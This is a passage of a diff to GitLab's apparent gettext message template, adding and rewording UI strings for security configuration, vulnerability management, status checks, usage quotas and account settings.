+msgstr ""
+
msgid "SecurityApprovals|A merge request approval is required when a security report contains a new vulnerability."
msgstr ""
@@ -30325,7 +30839,7 @@ msgstr ""
msgid "SecurityConfiguration|Available with Ultimate"
msgstr ""
-msgid "SecurityConfiguration|By default, all analyzers are applied in order to cover all languages across your project, and only run if the language is detected in the Merge Request."
+msgid "SecurityConfiguration|By default, all analyzers are applied in order to cover all languages across your project, and only run if the language is detected in the merge request."
msgstr ""
msgid "SecurityConfiguration|Compliance"
@@ -30340,7 +30854,7 @@ msgstr ""
msgid "SecurityConfiguration|Configure %{feature}"
msgstr ""
-msgid "SecurityConfiguration|Configure via Merge Request"
+msgid "SecurityConfiguration|Configure with a merge request"
msgstr ""
msgid "SecurityConfiguration|Copy code and open .gitlab-ci.yml file"
@@ -30352,7 +30866,7 @@ msgstr ""
msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
msgstr ""
-msgid "SecurityConfiguration|Create Merge Request"
+msgid "SecurityConfiguration|Create merge request"
msgstr ""
msgid "SecurityConfiguration|Customize common SAST settings to suit your requirements. Configuration changes made here override those provided by GitLab and are excluded from updates. For details of more advanced configuration options, see the %{linkStart}GitLab SAST documentation%{linkEnd}."
@@ -30412,6 +30926,9 @@ msgstr ""
msgid "SecurityConfiguration|Security testing"
msgstr ""
+msgid "SecurityConfiguration|Security training"
+msgstr ""
+
msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}."
msgstr ""
@@ -30421,6 +30938,9 @@ msgstr ""
msgid "SecurityConfiguration|Using custom settings. You won't receive automatic updates on this variable. %{anchorStart}Restore to default%{anchorEnd}"
msgstr ""
+msgid "SecurityConfiguration|Vulnerability Management"
+msgstr ""
+
msgid "SecurityConfiguration|Vulnerability details and statistics in the merge request"
msgstr ""
@@ -30445,6 +30965,12 @@ msgstr ""
msgid "SecurityOrchestration|An error occurred assigning your security policy project"
msgstr ""
+msgid "SecurityOrchestration|An error occurred unassigning your security policy project"
+msgstr ""
+
+msgid "SecurityOrchestration|Choose a project"
+msgstr ""
+
msgid "SecurityOrchestration|Description"
msgstr ""
@@ -30514,7 +31040,10 @@ msgstr ""
msgid "SecurityOrchestration|Scan execution policies can only be created by project owners."
msgstr ""
-msgid "SecurityOrchestration|Scan to be performed every %{cadence} on the %{branches}"
+msgid "SecurityOrchestration|Scan to be performed %{cadence}"
+msgstr ""
+
+msgid "SecurityOrchestration|Scan to be performed %{cadence} on the %{branches}"
msgstr ""
msgid "SecurityOrchestration|Scan to be performed on every pipeline on the %{branches}"
@@ -30523,6 +31052,9 @@ msgstr ""
msgid "SecurityOrchestration|Security policy project was linked successfully"
msgstr ""
+msgid "SecurityOrchestration|Security policy project was unlinked successfully"
+msgstr ""
+
msgid "SecurityOrchestration|Select a project to store your security policies in. %{linkStart}More information.%{linkEnd}"
msgstr ""
@@ -30544,6 +31076,12 @@ msgstr ""
msgid "SecurityOrchestration|To widen your search, change filters above or select a different security policy project."
msgstr ""
+msgid "SecurityOrchestration|Unlink project"
+msgstr ""
+
+msgid "SecurityOrchestration|Unlinking a security project removes all policies stored in the linked security project. Save to confirm this action."
+msgstr ""
+
msgid "SecurityOrchestration|Update scan execution policies"
msgstr ""
@@ -30763,7 +31301,7 @@ msgstr ""
msgid "SecurityReports|Take survey"
msgstr ""
-msgid "SecurityReports|The Vulnerability Report shows the results of the lastest successful pipeline on your project's default branch, as well as vulnerabilities from your latest container scan. %{linkStart}Learn more.%{linkEnd}"
+msgid "SecurityReports|The Vulnerability Report shows the results of the latest successful pipeline on your project's default branch, as well as vulnerabilities from your latest container scan. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
msgid "SecurityReports|The security reports below contain one or more vulnerability findings that could not be parsed and were not recorded. Download the artifacts in the job output to investigate. Ensure any security report created conforms to the relevant %{helpPageLinkStart}JSON schema%{helpPageLinkEnd}."
@@ -30796,6 +31334,9 @@ msgstr ""
msgid "SecurityReports|There was an error while generating the report."
msgstr ""
+msgid "SecurityReports|These vulnerabilities were detected in external sources. They are not necessarily tied to your GitLab project. For example, running containers, URLs, and so on."
+msgstr ""
+
msgid "SecurityReports|To widen your search, change or remove filters above"
msgstr ""
@@ -30934,6 +31475,9 @@ msgstr ""
msgid "Select assignee"
msgstr ""
+msgid "Select assignee(s)"
+msgstr ""
+
msgid "Select branch"
msgstr ""
@@ -31138,9 +31682,6 @@ msgstr ""
msgid "Sep"
msgstr ""
-msgid "Separate topics with commas."
-msgstr ""
-
msgid "September"
msgstr ""
@@ -31240,7 +31781,16 @@ msgstr ""
msgid "Service"
msgstr ""
-msgid "Service Accounts keys are required to authorize GitLab to deploy your Google Cloud project."
+msgid "Service Account"
+msgstr ""
+
+msgid "Service Account Key"
+msgstr ""
+
+msgid "Service Accounts"
+msgstr ""
+
+msgid "Service Accounts keys authorize GitLab to deploy your Google Cloud project"
msgstr ""
msgid "Service Desk"
@@ -31252,6 +31802,9 @@ msgstr ""
msgid "Service URL"
msgstr ""
+msgid "Service account generated successfully"
+msgstr ""
+
msgid "Service ping is disabled in your configuration file, and cannot be enabled through this form."
msgstr ""
@@ -31297,6 +31850,9 @@ msgstr ""
msgid "ServicePing|Turn on service ping to review instance-level analytics."
msgstr ""
+msgid "Services"
+msgstr ""
+
msgid "Session ID"
msgstr ""
@@ -31378,6 +31934,9 @@ msgstr ""
msgid "Set the iteration to %{iteration_reference}."
msgstr ""
+msgid "Set the maximum number of slices allowed to run concurrently during Elasticsearch reindexing. Learn more about %{max_slices_running_link_start}maximum running slices configuration%{max_slices_link_end}."
+msgstr ""
+
msgid "Set the maximum session time for a web terminal."
msgstr ""
@@ -31435,9 +31994,6 @@ msgstr ""
msgid "Set what should be replicated by this secondary site."
msgstr ""
-msgid "SetPasswordToCloneLink|set a password"
-msgstr ""
-
msgid "SetStatusModal|Add status emoji"
msgstr ""
@@ -31512,9 +32068,6 @@ msgid_plural "Settings saved successfully"
msgstr[0] ""
msgstr[1] ""
-msgid "Setting this to 0 means using the system default timeout value."
-msgstr ""
-
msgid "Settings"
msgstr ""
@@ -31581,6 +32134,27 @@ msgstr ""
msgid "Sherlock Transactions"
msgstr ""
+msgid "Shimo|Go to Shimo Workspace"
+msgstr ""
+
+msgid "Shimo|Link to a Shimo Workspace from the sidebar."
+msgstr ""
+
+msgid "Shimo|Shimo"
+msgstr ""
+
+msgid "Shimo|Shimo Workspace"
+msgstr ""
+
+msgid "Shimo|Shimo Workspace URL"
+msgstr ""
+
+msgid "Shimo|Shimo Workspace integration is enabled"
+msgstr ""
+
+msgid "Shimo|You've enabled the Shimo Workspace integration. You can view your wiki directly in Shimo."
+msgstr ""
+
msgid "Should you ever lose your phone or access to your one time password secret, each of these recovery codes can be used one time each to regain access to your account. Please save them in a safe place, or you %{boldStart}will%{boldEnd} lose access to your account."
msgstr ""
@@ -31596,6 +32170,9 @@ msgstr ""
msgid "Show all activity"
msgstr ""
+msgid "Show all breadcrumbs"
+msgstr ""
+
msgid "Show all issues."
msgstr ""
@@ -31644,18 +32221,9 @@ msgstr ""
msgid "Show list"
msgstr ""
-msgid "Show me how to add a pipeline"
-msgstr ""
-
msgid "Show one file at a time"
msgstr ""
-msgid "Show parent pages"
-msgstr ""
-
-msgid "Show parent subgroups"
-msgstr ""
-
msgid "Show the Closed list"
msgstr ""
@@ -32020,6 +32588,12 @@ msgstr ""
msgid "Something went wrong trying to change the locked state of this %{issuableDisplayName}"
msgstr ""
+msgid "Something went wrong trying to load issue contacts."
+msgstr ""
+
+msgid "Something went wrong when creating a work item. Please try again"
+msgstr ""
+
msgid "Something went wrong when reordering designs. Please try again"
msgstr ""
@@ -32104,9 +32678,6 @@ msgstr ""
msgid "Something went wrong while fetching the environments for this merge request. Please try again."
msgstr ""
-msgid "Something went wrong while fetching the package."
-msgstr ""
-
msgid "Something went wrong while fetching the packages list."
msgstr ""
@@ -32383,9 +32954,6 @@ msgstr ""
msgid "Source Branch"
msgstr ""
-msgid "Source Editor instance is required to set up an extension."
-msgstr ""
-
msgid "Source IP"
msgstr ""
@@ -32404,6 +32972,33 @@ msgstr ""
msgid "Source project cannot be found."
msgstr ""
+msgid "SourceEditor|\"el\" parameter is required for createInstance()"
+msgstr ""
+
+msgid "SourceEditor|%{name} is not registered."
+msgstr ""
+
+msgid "SourceEditor|Extension definition should be either a class or a function"
+msgstr ""
+
+msgid "SourceEditor|Extension definition should be either class, function, or an Array of definitions."
+msgstr ""
+
+msgid "SourceEditor|Extensions Store is required to check for an extension."
+msgstr ""
+
+msgid "SourceEditor|Name conflict for \"%{prop}()\" method."
+msgstr ""
+
+msgid "SourceEditor|No extension for unuse has been specified."
+msgstr ""
+
+msgid "SourceEditor|Source Editor instance is required to set up an extension."
+msgstr ""
+
+msgid "SourceEditor|`definition` property is expected on the extension."
+msgstr ""
+
msgid "Sourcegraph"
msgstr ""
@@ -32557,9 +33152,6 @@ msgstr ""
msgid "Start a review"
msgstr ""
-msgid "Start and due date"
-msgstr ""
-
msgid "Start by choosing a group to start exploring the merge requests in that group. You can then proceed to filter by projects, labels, milestones and authors."
msgstr ""
@@ -32704,6 +33296,9 @@ msgstr ""
msgid "Status: %{title}"
msgstr ""
+msgid "StatusCheck|%{failed} failed"
+msgstr ""
+
msgid "StatusCheck|%{pending} pending"
msgstr ""
@@ -32725,7 +33320,7 @@ msgstr ""
msgid "StatusCheck|Apply this status check to all branches or a specific protected branch."
msgstr ""
-msgid "StatusCheck|Check for a status response in Merge Requests. Failures do not block merges. %{link_start}Learn more%{link_end}."
+msgid "StatusCheck|Check for a status response in merge requests. Failures do not block merges. %{link_start}Learn more%{link_end}."
msgstr ""
msgid "StatusCheck|Examples: QA, Security."
@@ -32734,6 +33329,9 @@ msgstr ""
msgid "StatusCheck|External API is already in use by another status check."
msgstr ""
+msgid "StatusCheck|Failed to load status checks"
+msgstr ""
+
msgid "StatusCheck|Failed to load status checks."
msgstr ""
@@ -32755,6 +33353,12 @@ msgstr ""
msgid "StatusCheck|Status checks"
msgstr ""
+msgid "StatusCheck|Status checks all passed"
+msgstr ""
+
+msgid "StatusCheck|Status checks are being fetched"
+msgstr ""
+
msgid "StatusCheck|Status to check"
msgstr ""
@@ -32770,6 +33374,9 @@ msgstr ""
msgid "StatusCheck|You are about to remove the %{name} status check."
msgstr ""
+msgid "StatusCheck|status checks"
+msgstr ""
+
msgid "StatusPage|AWS %{docsLink}"
msgstr ""
@@ -33755,10 +34362,10 @@ msgstr ""
msgid "Terraform|Terraform init command"
msgstr ""
-msgid "Terraform|The report %{name} failed to generate."
+msgid "Terraform|The job %{name} failed to generate a report."
msgstr ""
-msgid "Terraform|The report %{name} was generated in your pipelines."
+msgid "Terraform|The job %{name} generated a report."
msgstr ""
msgid "Terraform|To get access to this terraform state from your local computer, run the following command at the command line. The first line requires a personal access token with API read and write access. %{linkStart}How do I create a personal access token?%{linkEnd}."
@@ -34013,7 +34620,7 @@ msgstr ""
msgid "The URL should start with http:// or https://"
msgstr ""
-msgid "The URL to use for connecting to Elasticsearch. Use a comma-separated list to support clustering (e.g., \"http://localhost:9200, http://localhost:9201\")."
+msgid "The URLs for connecting to Elasticsearch. For clustering, add the URLs separated by commas."
msgstr ""
msgid "The X509 Certificate to use when mutual TLS is required to communicate with the external authorization service. If left blank, the server certificate is still validated when accessing over HTTPS."
@@ -34049,7 +34656,10 @@ msgstr ""
msgid "The connection will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr ""
-msgid "The contact does not belong to the same group as the issue."
+msgid "The contact does not belong to the same group as the issue"
+msgstr ""
+
+msgid "The content editor may change the markdown formatting style of the document, which may not match your original markdown style."
msgstr ""
msgid "The content of this page is not encoded in UTF-8. Edits can only be made via the Git repository."
@@ -34255,9 +34865,6 @@ msgstr ""
msgid "The maximum number of pipeline minutes that a group can use on shared runners per month. 0 for unlimited."
msgstr ""
-msgid "The maximum number of slices allowed to run concurrently during Elasticsearch reindexing. Learn more about %{max_slices_running_link_start}maximum running slices configuration%{max_slices_link_end}."
-msgstr ""
-
msgid "The maximum number of tags that a single worker accepts for cleanup. If the number of tags goes above this limit, the list of tags to delete is truncated to this number. To remove this limit, set it to 0."
msgstr ""
@@ -34390,9 +34997,6 @@ msgstr ""
msgid "The snippet is visible to any logged in user except external users."
msgstr ""
-msgid "The source branch will be deleted"
-msgstr ""
-
msgid "The specified tab is invalid, please select another"
msgstr ""
@@ -34447,6 +35051,9 @@ msgstr ""
msgid "The vulnerability is no longer detected. Verify the vulnerability has been remediated before changing its status."
msgstr ""
+msgid "There are Advanced Search migrations pending that require indexing to pause. Indexing must remain paused until GitLab completes the migrations."
+msgstr ""
+
msgid "There are currently no events."
msgstr ""
@@ -34543,9 +35150,6 @@ msgstr ""
msgid "There are no variables yet."
msgstr ""
-msgid "There are pending advanced search migrations which require indexing to be paused. Indexing must remain paused until the migrations are completed."
-msgstr ""
-
msgid "There are running deployments on the environment. Please retry later."
msgstr ""
@@ -34558,9 +35162,6 @@ msgstr ""
msgid "There are several size limits in place."
msgstr ""
-msgid "There is a halted Elasticsearch migration"
-msgstr ""
-
msgid "There is already a repository with that name on disk"
msgstr ""
@@ -34936,6 +35537,9 @@ msgstr ""
msgid "This commit is part of merge request %{link_to_merge_request}. Comments created here will be created in the context of that merge request."
msgstr ""
+msgid "This commit was signed with %{strong_open}multiple%{strong_close} signatures."
+msgstr ""
+
msgid "This commit was signed with a %{strong_open}verified%{strong_close} signature and the committer email is verified to belong to the same user."
msgstr ""
@@ -34954,12 +35558,6 @@ msgstr ""
msgid "This credential has expired"
msgstr ""
-msgid "This date is after the due date, so this epic won't appear in the roadmap."
-msgstr ""
-
-msgid "This date is before the start date, so this epic won't appear in the roadmap."
-msgstr ""
-
msgid "This device has already been registered with us."
msgstr ""
@@ -35008,6 +35606,12 @@ msgstr ""
msgid "This field is required."
msgstr ""
+msgid "This file was modified for readability, and can't accept suggestions. Edit it directly."
+msgstr ""
+
+msgid "This forked project has the following:"
+msgstr ""
+
msgid "This form is disabled in preview"
msgstr ""
@@ -35062,12 +35666,15 @@ msgstr ""
msgid "This is a private email address %{helpIcon} generated just for you. Anyone who has it can create issues or merge requests as if they were you. If that happens, %{resetLinkStart}reset this token%{resetLinkEnd}."
msgstr ""
-msgid "This is a security log of important events involving your account."
+msgid "This is a security log of authentication events involving your account."
msgstr ""
msgid "This is a self-managed instance of GitLab."
msgstr ""
+msgid "This is an experimental feature developed by GitLab Incubation Engineering."
+msgstr ""
+
msgid "This is the highest peak of users on your installation since the license started."
msgstr ""
@@ -35077,6 +35684,9 @@ msgstr ""
msgid "This is your current session"
msgstr ""
+msgid "This issue is confidential and should only be visible to team members with at least Reporter access."
+msgstr ""
+
msgid "This issue is currently blocked by the following issues:"
msgstr ""
@@ -35212,9 +35822,6 @@ msgstr ""
msgid "This merge request is locked."
msgstr ""
-msgid "This merge request is still a draft."
-msgstr ""
-
msgid "This merge request was merged. To apply this suggestion, edit this file directly."
msgstr ""
@@ -35257,6 +35864,9 @@ msgstr ""
msgid "This project has no active access tokens."
msgstr ""
+msgid "This project is %{strongStart}NOT%{strongEnd} a fork, and has the following:"
+msgstr ""
+
msgid "This project is archived and cannot be commented on."
msgstr ""
@@ -35356,7 +35966,7 @@ msgstr ""
msgid "Thread to reply to cannot be found"
msgstr ""
-msgid "Threat Monitoring"
+msgid "Threat monitoring"
msgstr ""
msgid "ThreatMonitoring|Alert Details"
@@ -35900,6 +36510,9 @@ msgstr ""
msgid "To see this project's operational details, contact an owner of group %{groupName} to upgrade the plan. You can also remove the project from the dashboard."
msgstr ""
+msgid "To see what's changed or create a merge request, choose a branch or tag (like %{branch}), or enter a commit (like %{sha})."
+msgstr ""
+
msgid "To set up SAML authentication for your group through an identity provider like Azure, Okta, Onelogin, Ping Identity, or your custom SAML 2.0 provider:"
msgstr ""
@@ -35924,6 +36537,9 @@ msgstr ""
msgid "To use the additional formats, you must start the required %{container_link_start}companion containers%{container_link_end}."
msgstr ""
+msgid "To use the system's default, set this value to 0."
+msgstr ""
+
msgid "To view all %{scannedResourcesCount} scanned URLs, %{linkStart}please download the CSV file%{linkEnd}"
msgstr ""
@@ -36029,10 +36645,10 @@ msgstr ""
msgid "Too many changes to show."
msgstr ""
-msgid "Too many namespaces enabled. You will need to manage them via the console or the API."
+msgid "Too many namespaces enabled. Manage them through the console or the API."
msgstr ""
-msgid "Too many projects enabled. You will need to manage them via the console or the API."
+msgid "Too many projects enabled. Manage them through the console or the API."
msgstr ""
msgid "TopNav|Go back"
@@ -36053,9 +36669,6 @@ msgstr ""
msgid "Topics"
msgstr ""
-msgid "Topics (optional)"
-msgstr ""
-
msgid "Total"
msgstr ""
@@ -36116,6 +36729,9 @@ msgstr ""
msgid "Track your GitLab projects with GitLab for Slack."
msgstr ""
+msgid "Training mode"
+msgstr ""
+
msgid "Transfer"
msgstr ""
@@ -36286,7 +36902,7 @@ msgstr ""
msgid "Trigger cluster reindexing"
msgstr ""
-msgid "Trigger cluster reindexing. This feature should be used with an index that was created after 13.0."
+msgid "Trigger cluster reindexing. Only use this with an index that was created in GitLab 13.0 or later."
msgstr ""
msgid "Trigger manual job"
@@ -36343,6 +36959,12 @@ msgstr ""
msgid "Try grouping with different labels"
msgstr ""
+msgid "Try out GitLab Pipelines"
+msgstr ""
+
+msgid "Try the troubleshooting steps here."
+msgstr ""
+
msgid "Try to fork again"
msgstr ""
@@ -36541,9 +37163,6 @@ msgstr ""
msgid "Unable to load the merge request widget. Try reloading the page."
msgstr ""
-msgid "Unable to save cadence. Please try again"
-msgstr ""
-
msgid "Unable to save iteration. Please try again"
msgstr ""
@@ -36649,6 +37268,9 @@ msgstr ""
msgid "Unknown response text"
msgstr ""
+msgid "Unknown screen"
+msgstr ""
+
msgid "Unknown user"
msgstr ""
@@ -36733,9 +37355,6 @@ msgstr ""
msgid "Unsupported todo type passed. Supported todo types are: %{todo_types}"
msgstr ""
-msgid "Until"
-msgstr ""
-
msgid "Until revoked, expired personal access tokens pose a security risk."
msgstr ""
@@ -36844,6 +37463,9 @@ msgstr ""
msgid "Updating"
msgstr ""
+msgid "Updating the attention request for %{username} failed."
+msgstr ""
+
msgid "Updating…"
msgstr ""
@@ -36886,6 +37508,9 @@ msgstr ""
msgid "Upload license"
msgstr ""
+msgid "Upload new file"
+msgstr ""
+
msgid "Upload object map"
msgstr ""
@@ -36895,9 +37520,6 @@ msgstr ""
msgid "Uploading changes to terminal"
msgstr ""
-msgid "Uploads"
-msgstr ""
-
msgid "Upon performing this action, the contents of this group, its subgroup and projects will be permanently deleted after %{deletion_adjourned_period} days on %{date}. Until that time:"
msgstr ""
@@ -36910,9 +37532,6 @@ msgstr ""
msgid "Upvotes"
msgstr ""
-msgid "Usage"
-msgstr ""
-
msgid "Usage Trends"
msgstr ""
@@ -36967,12 +37586,6 @@ msgstr ""
msgid "UsageQuota|Increase storage temporarily"
msgstr ""
-msgid "UsageQuota|LFS Objects"
-msgstr ""
-
-msgid "UsageQuota|LFS Storage"
-msgstr ""
-
msgid "UsageQuota|LFS storage"
msgstr ""
@@ -36982,9 +37595,15 @@ msgstr ""
msgid "UsageQuota|Learn more about usage quotas"
msgstr ""
+msgid "UsageQuota|No CI minutes usage data available."
+msgstr ""
+
msgid "UsageQuota|Packages"
msgstr ""
+msgid "UsageQuota|Pending Members"
+msgstr ""
+
msgid "UsageQuota|Pipeline artifacts and job artifacts, created with CI/CD."
msgstr ""
@@ -36997,9 +37616,6 @@ msgstr ""
msgid "UsageQuota|Purchased storage available"
msgstr ""
-msgid "UsageQuota|Repositories"
-msgstr ""
-
msgid "UsageQuota|Repository"
msgstr ""
@@ -37033,18 +37649,6 @@ msgstr ""
msgid "UsageQuota|This namespace has no projects which use shared runners"
msgstr ""
-msgid "UsageQuota|This project is at risk of being locked because purchased storage is running low."
-msgstr ""
-
-msgid "UsageQuota|This project is locked because it is using %{actualRepositorySizeLimit} of free storage and there is no purchased storage available."
-msgstr ""
-
-msgid "UsageQuota|This project is locked because it used %{actualRepositorySizeLimit} of free storage and all the purchased storage."
-msgstr ""
-
-msgid "UsageQuota|This project is near the free %{actualRepositorySizeLimit} limit and at risk of being locked."
-msgstr ""
-
msgid "UsageQuota|Total excess storage used"
msgstr ""
@@ -37090,9 +37694,6 @@ msgstr ""
msgid "UsageQuota|Wiki content."
msgstr ""
-msgid "UsageQuota|Wikis"
-msgstr ""
-
msgid "UsageQuota|You have consumed all of your additional storage, please purchase more to unlock your projects over the free %{actualRepositorySizeLimit} limit."
msgstr ""
@@ -37285,9 +37886,6 @@ msgstr ""
msgid "Used programming language"
msgstr ""
-msgid "Used to calculate the number of slices during reindexing. The multiplier will be applied to the number of shards per index. Learn more about %{slice_multiplier_link_start}slice multiplier configuration%{slice_multiplier_link_end}."
-msgstr ""
-
msgid "Used to help configure your identity provider"
msgstr ""
@@ -37591,9 +38189,6 @@ msgstr ""
msgid "Username"
msgstr ""
-msgid "Username (for password-protected Elasticsearch servers)"
-msgstr ""
-
msgid "Username (optional)"
msgstr ""
@@ -37819,6 +38414,18 @@ msgstr ""
msgid "Verification status"
msgstr ""
+msgid "VerificationReminder|Pipeline failing? To keep GitLab spam and abuse free we ask that you verify your identity with a valid payment method."
+msgstr ""
+
+msgid "VerificationReminder|Until then, free pipeline minutes on shared runners are unavailable. %{validateLinkStart}Validate your account%{validateLinkEnd} or %{docsLinkStart}use your own runners%{docsLinkEnd}."
+msgstr ""
+
+msgid "VerificationReminder|Your account has been validated."
+msgstr ""
+
+msgid "VerificationReminder|You’ll now be able to take advantage of free pipeline minutes on shared runners."
+msgstr ""
+
msgid "Verified"
msgstr ""
@@ -37843,6 +38450,9 @@ msgstr ""
msgid "View Documentation"
msgstr ""
+msgid "View Stage: %{title}"
+msgstr ""
+
msgid "View alert details at"
msgstr ""
@@ -37940,6 +38550,9 @@ msgstr ""
msgid "View merge request"
msgstr ""
+msgid "View milestones"
+msgstr ""
+
msgid "View on %{url}"
msgstr ""
@@ -38050,6 +38663,9 @@ msgstr ""
msgid "Vulnerability remediated. Review before resolving."
msgstr ""
+msgid "Vulnerability report"
+msgstr ""
+
msgid "Vulnerability resolved in %{branch}"
msgstr ""
@@ -38062,9 +38678,6 @@ msgstr ""
msgid "VulnerabilityChart|Severity"
msgstr ""
-msgid "VulnerabilityManagement, Fetching linked Jira issues"
-msgstr ""
-
msgid "VulnerabilityManagement|%{statusStart}Confirmed%{statusEnd} %{timeago} by %{user}"
msgstr ""
@@ -38080,6 +38693,9 @@ msgstr ""
msgid "VulnerabilityManagement|A true-positive and will fix"
msgstr ""
+msgid "VulnerabilityManagement|Add vulnerability finding"
+msgstr ""
+
msgid "VulnerabilityManagement|Change status"
msgstr ""
@@ -38089,7 +38705,10 @@ msgstr ""
msgid "VulnerabilityManagement|Create Jira issue"
msgstr ""
-msgid "VulnerabilityManagement|Detected"
+msgid "VulnerabilityManagement|Fetching linked Jira issues"
+msgstr ""
+
+msgid "VulnerabilityManagement|Manually add a vulnerability entry into the vulnerability report."
msgstr ""
msgid "VulnerabilityManagement|Needs triage"
@@ -38101,6 +38720,9 @@ msgstr ""
msgid "VulnerabilityManagement|Related Jira issues"
msgstr ""
+msgid "VulnerabilityManagement|Requires assessment"
+msgstr ""
+
msgid "VulnerabilityManagement|Something went wrong while trying to delete the comment. Please try again later."
msgstr ""
@@ -38125,9 +38747,15 @@ msgstr ""
msgid "VulnerabilityManagement|Something went wrong, could not update vulnerability state."
msgstr ""
+msgid "VulnerabilityManagement|Summary, detailed description, steps to reproduce, etc."
+msgstr ""
+
msgid "VulnerabilityManagement|Verified as fixed or mitigated"
msgstr ""
+msgid "VulnerabilityManagement|Vulnerability name or type. Ex: Cross-site scripting"
+msgstr ""
+
msgid "VulnerabilityManagement|Will not fix or a false-positive"
msgstr ""
@@ -38140,10 +38768,10 @@ msgstr ""
msgid "VulnerabilityStatusTypes|Confirmed"
msgstr ""
-msgid "VulnerabilityStatusTypes|Detected"
+msgid "VulnerabilityStatusTypes|Dismissed"
msgstr ""
-msgid "VulnerabilityStatusTypes|Dismissed"
+msgid "VulnerabilityStatusTypes|Needs triage"
msgstr ""
msgid "VulnerabilityStatusTypes|Resolved"
@@ -38317,7 +38945,7 @@ msgstr ""
msgid "We heard back from your device. You have been authenticated."
msgstr ""
-msgid "We love speaking to our users. Got more to say about your GitLab experiences?"
+msgid "We invite you to %{featureLinkStart}request a feature%{featureLinkEnd}, %{bugLinkStart}report a bug%{bugLinkEnd} or %{feedbackLinkStart}share feedback%{feedbackLinkEnd}"
msgstr ""
msgid "We recommend cloud-based mobile authenticator apps such as Authy, Duo Mobile, and LastPass. They can restore access if you lose your hardware device."
@@ -38623,6 +39251,9 @@ msgstr ""
msgid "When a runner is locked, it cannot be assigned to other projects"
msgstr ""
+msgid "When enabled, SSH keys with no expiry date or an invalid expiration date are no longer accepted. Leave blank for no limit."
+msgstr ""
+
msgid "When enabled, existing personal access tokens may be revoked. Leave blank for no limit."
msgstr ""
@@ -38635,7 +39266,7 @@ msgstr ""
msgid "When merge requests and commits in the default branch close, any issues they reference also close."
msgstr ""
-msgid "When the number of active users exceeds this number, additional users must be %{user_cap_docs_link_start}approved by an owner%{user_cap_docs_link_end}. Leave empty if you don't want to enforce approvals."
+msgid "When paused, GitLab still tracks the changes. This is useful for cluster/index migrations."
msgstr ""
msgid "When this merge request is accepted"
@@ -38808,6 +39439,12 @@ msgstr ""
msgid "WikiPage|Create page"
msgstr ""
+msgid "WikiPage|Edit rich text"
+msgstr ""
+
+msgid "WikiPage|Edit source"
+msgstr ""
+
msgid "WikiPage|Format"
msgstr ""
@@ -38817,7 +39454,7 @@ msgstr ""
msgid "WikiPage|Keep editing"
msgstr ""
-msgid "WikiPage|More Information."
+msgid "WikiPage|Learn more."
msgstr ""
msgid "WikiPage|Page title"
@@ -38931,6 +39568,9 @@ msgstr ""
msgid "Work in progress Limit"
msgstr ""
+msgid "Work in progress- click here to find out more"
+msgstr ""
+
msgid "WorkItem|Work Items"
msgstr ""
@@ -39204,13 +39844,10 @@ msgstr ""
msgid "You can only %{action} files when you are on a branch"
msgstr ""
-msgid "You can only edit files when you are on a branch"
+msgid "You can only add up to %{max_contacts} contacts at one time"
msgstr ""
-msgid "You can only merge once the items above are resolved."
-msgstr ""
-
-msgid "You can only merge once this merge request is approved."
+msgid "You can only edit files when you are on a branch"
msgstr ""
msgid "You can only transfer the project to namespaces you manage."
@@ -39246,6 +39883,9 @@ msgstr ""
msgid "You cannot access the raw file. Please wait a minute."
msgstr ""
+msgid "You cannot combine replace_ids with add_ids or remove_ids"
+msgstr ""
+
msgid "You cannot impersonate a blocked user"
msgstr ""
@@ -39276,12 +39916,18 @@ msgstr ""
msgid "You could not create a new trigger."
msgstr ""
+msgid "You do not have any Google Cloud projects. Please create a Google Cloud project and then reload this page."
+msgstr ""
+
msgid "You do not have any subscriptions yet"
msgstr ""
msgid "You do not have permission to access dora metrics."
msgstr ""
+msgid "You do not have permission to approve a member"
+msgstr ""
+
msgid "You do not have permission to leave this %{namespaceType}."
msgstr ""
@@ -39333,6 +39979,11 @@ msgstr ""
msgid "You don’t have access to Value Stream Analytics for this group"
msgstr ""
+msgid "You have %{pendingMembersCount} pending member that needs approval."
+msgid_plural "You have %{pendingMembersCount} pending members that need approval."
+msgstr[0] ""
+msgstr[1] ""
+
msgid "You have been granted %{access_level} access to the %{source_link} %{source_type}."
msgstr ""
@@ -39381,6 +40032,9 @@ msgstr ""
msgid "You have insufficient permissions to remove this HTTP integration"
msgstr ""
+msgid "You have insufficient permissions to set customer relations contacts for this issue"
+msgstr ""
+
msgid "You have insufficient permissions to update an on-call schedule for this project"
msgstr ""
@@ -39516,9 +40170,6 @@ msgstr ""
msgid "You won't be able to create new projects because you have reached your project limit."
msgstr ""
-msgid "You won't be able to pull or push repositories via %{protocol} until you %{set_password_link} on your account"
-msgstr ""
-
msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quarterly or annual basis, depending on the terms of your agreement."
msgstr ""
@@ -39603,7 +40254,7 @@ msgstr ""
msgid "Your CSV import for project"
msgstr ""
-msgid "Your DevOps Report gives an overview of how you are using GitLab from a feature perspective. Use it to view how you compare with other organizations."
+msgid "Your DevOps Reports give an overview of how you are using GitLab from a feature perspective. Use them to view how you compare with other organizations, and how your teams compare against each other."
msgstr ""
msgid "Your GPG keys (%{count})"
@@ -39669,6 +40320,12 @@ msgstr ""
msgid "Your account has been deactivated. You will not be able to: "
msgstr ""
+msgid "Your account is authenticated with SSO or SAML. To %{push_pull_link_start}push and pull%{link_end} over %{protocol} with Git using this account, you must %{set_password_link_start}set a password%{link_end} or %{set_up_pat_link_start}set up a Personal Access Token%{link_end} to use instead of a password. For more information, see %{clone_with_https_link_start}Clone with HTTPS%{link_end}."
+msgstr ""
+
+msgid "Your account is authenticated with SSO or SAML. To %{push_pull_link_start}push and pull%{link_end} over %{protocol} with Git using this account, you must %{set_up_pat_link_start}set up a Personal Access Token%{link_end} to use instead of a password. For more information, see %{clone_with_https_link_start}Clone with HTTPS%{link_end}."
+msgstr ""
+
msgid "Your account is locked."
msgstr ""
@@ -39861,6 +40518,9 @@ msgstr ""
msgid "Your sign-in page is %{url}."
msgstr ""
+msgid "Your snippets"
+msgstr ""
+
msgid "Your subscription expired!"
msgstr ""
@@ -39875,15 +40535,9 @@ msgstr ""
msgid "ZenTaoIntegration|Failed to load ZenTao issue. View the issue in ZenTao, or reload the page."
msgstr ""
-msgid "ZenTaoIntegration|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}ZenTao%{linkEnd}."
-msgstr ""
-
msgid "ZenTaoIntegration|This is a ZenTao user."
